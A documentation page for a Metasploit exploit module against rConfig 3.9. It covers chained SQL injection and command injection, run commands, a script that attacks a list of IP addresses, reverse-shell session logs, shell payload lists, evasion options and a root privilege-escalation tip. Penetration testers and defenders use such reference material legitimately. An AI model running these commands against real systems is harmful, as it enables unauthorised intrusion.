Rconfig 3.x Chained Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/rconfig_ajaxarchivefiles_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Rconfig 3.x Chained Remote Code Execution
Module: exploit/linux/http/rconfig_ajaxarchivefiles_rce
Source code: modules/exploits/linux/http/rconfig_ajaxarchivefiles_rce.rb
Disclosure date: 2020-03-11
Last modification time: 2021-02-24 20:24:57 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-19509, CVE-2019-19585, CVE-2020-10220
This module exploits multiple vulnerabilities in rConfig
version 3.9 in order to execute arbitrary commands. This
module takes advantage of a command injection vulnerability
in the path parameter of the ajax archive file
functionality within the rConfig web interface in order to
execute the payload. Valid credentials for a user with
administrative privileges are required. However, this module
can bypass authentication via SQLI. This module has been
successfully tested on Rconfig 3.9.3 and 3.9.4. The steps
are: 1. SQLi on /commands.inc.php allows us to add an
administrative user. 2. An authenticated session is
established with the newly added user 3. Command Injection
on /lib/ajaxHandlers/ajaxArchiveFiles.php allows us to
execute the payload. 4. Remove the added admin user. Tips :
once you get a shell, look at the CVE-2019-19585. You will
probably get root because rConfig install script add Apache
user to sudoers with nopasswd ;-)
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Using rconfig_ajaxarchivefiles_rce against a single host
Normally, you can use exploit/linux/http/rconfig_ajaxarchivefiles_rce this way:
msf > use exploit/linux/http/rconfig_ajaxarchivefiles_rce
msf exploit(rconfig_ajaxarchivefiles_rce) > show targets
... a list of targets ...
msf exploit(rconfig_ajaxarchivefiles_rce) > set TARGET target-id
msf exploit(rconfig_ajaxarchivefiles_rce) > show options
... show and set options ...
msf exploit(rconfig_ajaxarchivefiles_rce) > exploit
Using rconfig_ajaxarchivefiles_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your rconfig_ajaxarchivefiles_rce will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/rconfig_ajaxarchivefiles_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits multiple vulnerabilities in rConfig version 3.9 and prior in order to execute arbitrary commands.
The module first add a temporary admin user to the application by exploiting an SQL injection (CVE-2020-10220).
Next, the module authenticates as the newly created user in order to abuse a command injection vulnerability in the path parameter of the ajaxArchiveFiles functionality within the rConfig web interface (CVE-2019-19509).
The module works with HTTP or HTTPS (both were tested) but the application does redirection via php code so SSL is enabled by default (and should be used). Valid credentials for a user with administrative privileges are required. However, this module can bypass authentication via SQLI. This module has been successfully tested on rConfig 3.9.2 and 3.9.4.
Tips : once you get a shell, look at the CVE-2019-19585. You will probably get root because rConfig install script add Apache user to sudoers with nopasswd ;-)
Verification Steps
- Install the module as usual
- Start msfconsole
use exploit/linux/http/rconfig_ajaxarchivefiles_rceset RHOSTS target_ipset RPORT target_portset LHOST your_ipset LPORT your_portset verbose trueexploit -j
Scenarios
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > show options
Module options (exploit/linux/http/rconfig_ajaxarchivefiles_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path to Rconfig
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > set RHOSTS 1.1.1.1
RHOSTS => 1.1.1.1
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > set LHOST 1.1.1.2
LHOST => 1.1.1.2
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) >
[+] rConfig version 3.9 detected
[+] New temporary user 6QpO8mLt created
[+] Authenticated as user 6QpO8mLt
[*] Command shell session 1 opened (1.1.1.2:4444 -> 1.1.1.1:34586) at 2020-03-10 22:26:46 +0100
[+] Command sucessfully executed
[*] User 6QpO8mLt removed successfully !
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > sessions -i 1
[*] Starting interaction with 1...
id
uid=48(apache) gid=48(apache) groups=48(apache)
References
- https://nvd.nist.gov/vuln/detail/CVE-2019-19509
- https://nvd.nist.gov/vuln/detail/CVE-2020-10220
- https://www.exploit-db.com/exploits/47982
- https://www.exploit-db.com/exploits/48208
- https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2019-19509.py
- https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py
Go back to menu.
Msfconsole Usage
Here is how the linux/http/rconfig_ajaxarchivefiles_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/rconfig_ajaxarchivefiles_rce
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > show info
Name: Rconfig 3.x Chained Remote Code Execution
Module: exploit/linux/http/rconfig_ajaxarchivefiles_rce
Platform: Unix, Linux
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2020-03-11
Provided by:
Jean-Pascal Thomas
Orange Cyberdefense
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path to Rconfig
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits multiple vulnerabilities in rConfig version 3.9
in order to execute arbitrary commands. This module takes advantage
of a command injection vulnerability in the `path` parameter of the
ajax archive file functionality within the rConfig web interface in
order to execute the payload. Valid credentials for a user with
administrative privileges are required. However, this module can
bypass authentication via SQLI. This module has been successfully
tested on Rconfig 3.9.3 and 3.9.4. The steps are: 1. SQLi on
/commands.inc.php allows us to add an administrative user. 2. An
authenticated session is established with the newly added user 3.
Command Injection on /lib/ajaxHandlers/ajaxArchiveFiles.php allows
us to execute the payload. 4. Remove the added admin user. Tips :
once you get a shell, look at the CVE-2019-19585. You will probably
get root because rConfig install script add Apache user to sudoers
with nopasswd ;-)
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-19509
https://nvd.nist.gov/vuln/detail/CVE-2020-10220
https://www.exploit-db.com/exploits/47982
https://www.exploit-db.com/exploits/48208
https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2019-19509.py
https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py
Module Options
This is a complete list of options available in the linux/http/rconfig_ajaxarchivefiles_rce exploit:
msf6 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > show options
Module options (exploit/linux/http/rconfig_ajaxarchivefiles_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path to Rconfig
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the linux/http/rconfig_ajaxarchivefiles_rce exploit:
msf6 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > show advanced
Module advanced options (exploit/linux/http/rconfig_ajaxarchivefiles_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/rconfig_ajaxarchivefiles_rce module can exploit:
msf6 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/rconfig_ajaxarchivefiles_rce exploit:
msf6 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/rconfig_ajaxarchivefiles_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not check rConfig version
Here is a relevant code snippet related to the "Could not check rConfig version" error message:
68: res = send_request_cgi!(
69: 'method' => 'GET',
70: 'uri' => '/login.php'
71: )
72: if !res || !res.get_html_document
73: fail_with(Failure::Unknown, 'Could not check rConfig version')
74: end
75: if res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig Version 3.9'
76: print_good('rConfig version 3.9 detected')
77: return Exploit::CheckCode::Appears
78: elsif res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig'
rConfig detected, but not version 3.9
Here is a relevant code snippet related to the "rConfig detected, but not version 3.9" error message:
74: end
75: if res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig Version 3.9'
76: print_good('rConfig version 3.9 detected')
77: return Exploit::CheckCode::Appears
78: elsif res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig'
79: print_status('rConfig detected, but not version 3.9')
80: return Exploit::CheckCode::Detected
81: end
82: end
83:
84: # CREATE AN ADMIN USER IN RCONFIG
Failed to create user: Connection failed.
Here is a relevant code snippet related to the "Failed to create user: Connection failed." error message:
98: 'searchField' => 'vuln',
99: 'searchColumn' => user_sqli
100: }
101: )
102: unless sqli_res
103: print_warning('Failed to create user: Connection failed.')
104: return
105: end
106: print_good "New temporary user #{user} created"
107: end
108:
Failed to retrieve cookies
Here is a relevant code snippet related to the "Failed to retrieve cookies" error message:
114: 'method' => 'GET',
115: 'uri' => '/login.php'
116: )
117: @cookie = res.get_cookies
118: if @cookie.empty?
119: fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
120: return
121: end
122: # authenticate
123: res = send_request_cgi(
124: 'method' => 'POST',
Failed to authenticate: Connection failed.
Here is a relevant code snippet related to the "Failed to authenticate: Connection failed." error message:
129: user: user,
130: sublogin: 1
131: }
132: )
133: unless res
134: print_warning('Failed to authenticate: Connection failed.')
135: return
136: end
137: print_good "Authenticated as user #{user}"
138: end
139:
Removing user <USER> failed: Connection failed. Please remove it manually.
Here is a relevant code snippet related to the "Removing user <USER> failed: Connection failed. Please remove it manually." error message:
174: 'searchField' => 'vuln',
175: 'searchColumn' => del_sqli
176: }
177: )
178: unless del_res
179: print_warning "Removing user #{user} failed: Connection failed. Please remove it manually."
180: return
181: end
182: print_status "User #{user} removed successfully !"
183: end
184:
Go back to menu.
Related Pull Requests
- #14806 Merged Pull Request: Rubocop recently landed modules continued
- #14734 Merged Pull Request: Rubocop recently landed modules
- #13066 Merged Pull Request: Add module rConfig 3.9 RCE
References
- CVE-2019-19509
- CVE-2020-10220
- EDB-47982
- EDB-48208
- https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2019-19509.py
- https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py
See Also
Check also the following modules related to this module:
- exploit/linux/http/rconfig_vendors_auth_file_upload_rce
- exploit/unix/webapp/rconfig_install_cmd_exec
Authors
- Jean-Pascal Thomas
- Orange Cyberdefense
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
